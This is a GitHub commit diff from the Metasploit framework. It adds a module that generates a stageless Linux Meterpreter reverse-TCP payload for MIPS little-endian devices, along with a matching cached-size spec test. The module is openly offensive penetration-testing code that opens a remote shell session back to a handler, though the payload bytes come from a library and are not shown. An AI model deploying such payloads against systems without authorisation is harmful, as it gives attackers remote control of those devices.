File tree Expand file tree Collapse file tree 2 files changed +51
-0
lines changed
modules/payloads/singles/linux/mipsle Expand file tree Collapse file tree 2 files changed +51
-0
lines changed Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'msf/core/handler/reverse_tcp'
8
+ require 'msf/base/sessions/meterpreter_options'
9
+ require 'msf/base/sessions/mettle_config'
10
+ require 'msf/base/sessions/meterpreter_mipsle_linux'
11
+
12
+ module MetasploitModule
13
+
14
+ CachedSize = 484732
15
+
16
+ include Msf ::Payload ::Single
17
+ include Msf ::Sessions ::MeterpreterOptions
18
+ include Msf ::Sessions ::MettleConfig
19
+
20
+ def initialize ( info = { } )
21
+ super (
22
+ update_info (
23
+ info ,
24
+ 'Name' => 'Linux Meterpreter' ,
25
+ 'Description' => 'Run the mettle server payload (stageless)' ,
26
+ 'Author' => [
27
+ 'Adam Cammack <adam_cammack[at]rapid7.com>'
28
+ ] ,
29
+ 'Platform' => 'linux' ,
30
+ 'Arch' => ARCH_MIPSLE ,
31
+ 'License' => MSF_LICENSE ,
32
+ 'Handler' => Msf ::Handler ::ReverseTcp ,
33
+ 'Session' => Msf ::Sessions ::Meterpreter_mipsle_Linux
34
+ )
35
+ )
36
+ end
37
+
38
+ def generate
39
+ MetasploitPayloads ::Mettle . new ( 'mipsel-linux-muslsf' , generate_config ) . to_binary :exec
40
+ end
41
+ end
Original file line number Diff line number Diff line change 4342
4342
reference_name : 'linux/mipsle/mettle/reverse_tcp'
4343
4343
end
4344
4344
4345
+ context 'linux/mipsle/mettle_reverse_tcp' do
4346
+ it_should_behave_like 'payload cached size is consistent' ,
4347
+ ancestor_reference_names : [
4348
+ 'singles/linux/mipsle/mettle_reverse_tcp'
4349
+ ] ,
4350
+ dynamic_size : false ,
4351
+ modules_pathname : modules_pathname ,
4352
+ reference_name : 'linux/mipsle/mettle_reverse_tcp'
4353
+ end
4354
+
4345
4355
context 'linux/x64/mettle/bind_tcp' do
4346
4356
it_should_behave_like 'payload cached size is consistent' ,
4347
4357
ancestor_reference_names : [
You can’t perform that action at this time.
0 commit comments